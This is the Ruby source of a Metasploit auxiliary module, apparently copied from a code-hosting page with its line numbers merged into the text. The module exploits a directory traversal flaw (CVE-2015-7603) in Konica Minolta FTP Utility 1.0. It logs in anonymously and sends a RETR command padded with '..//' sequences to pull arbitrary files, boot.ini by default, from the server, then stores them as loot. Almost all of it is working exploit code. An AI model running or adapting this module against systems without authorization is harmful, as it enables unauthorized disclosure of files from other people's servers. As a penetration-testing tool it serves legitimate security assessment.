Path: blob/master/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure',15'Description' => %q{16This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.17This vulnerability allows an attacker to download arbitrary files from the server by crafting18a RETR command that includes file system traversal strings such as '..//'19},20'Platform' => 'win',21'Author' => [22'Jay Turla', # @shipcod3, msf23'James Fitts', # msf24'Brad Wolfe <brad.wolfe[at]gmail.com>', # msf25'shinnai' # initial discovery26],27'License' => MSF_LICENSE,28'References' => [29[ 'EDB', '38260'],30[ 'CVE', '2015-7603'],31[ 'URL', 'https://shinnai.altervista.org/exploits/SH-0024-20150922.html']32],33'DisclosureDate' => '2015-09-22',34'Notes' => {35'Reliability' => UNKNOWN_RELIABILITY,36'Stability' => UNKNOWN_STABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38}39)40)4142register_options(43[44OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),45OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])46]47)48end4950def check_host(ip)51begin52connect53if /FTP Utility FTP server \(Version 1\.00\)/i === banner54return Exploit::CheckCode::Appears55end56ensure57disconnect58end5960Exploit::CheckCode::Safe61end6263def run_host(target_host)64begin65# Login anonymously and open the socket that we'll use for data retrieval.66connect_login67sock = data_connect68if sock.nil?69error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'70print_status(error_msg)71elog(error_msg)72else73file_path = datastore['PATH']74file = ::File.basename(file_path)7576# make RETR request and store server response message...77retr_cmd = ("..//" * datastore['DEPTH']) + "#{file_path}"78res = send_cmd(["RETR", retr_cmd])7980# read the file data from the socket that we opened81# dont assume theres still a sock to read from. Per #758282if sock.nil?83error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'84print_status(error_msg)85elog(error_msg)86return87else88# read the file data from the socket that we opened89response_data = sock.read(1024)90end9192unless response_data93print_error("#{file_path} not found")94return95end9697if response_data.length == 0 or !(res =~ /^150/)98print_status("File (#{file_path})from #{peer} is empty...")99return100end101102# store file data to loot103loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)104vprint_status("Data returned:\n")105vprint_line(response_data)106print_good("Stored #{file_path} to #{loot_file}")107end108rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e109vprint_error(e.message)110elog(e)111rescue ::Timeout::Error, ::Errno::EPIPE => e112vprint_error(e.message)113elog(e)114ensure115data_disconnect116disconnect117end118end119end120121122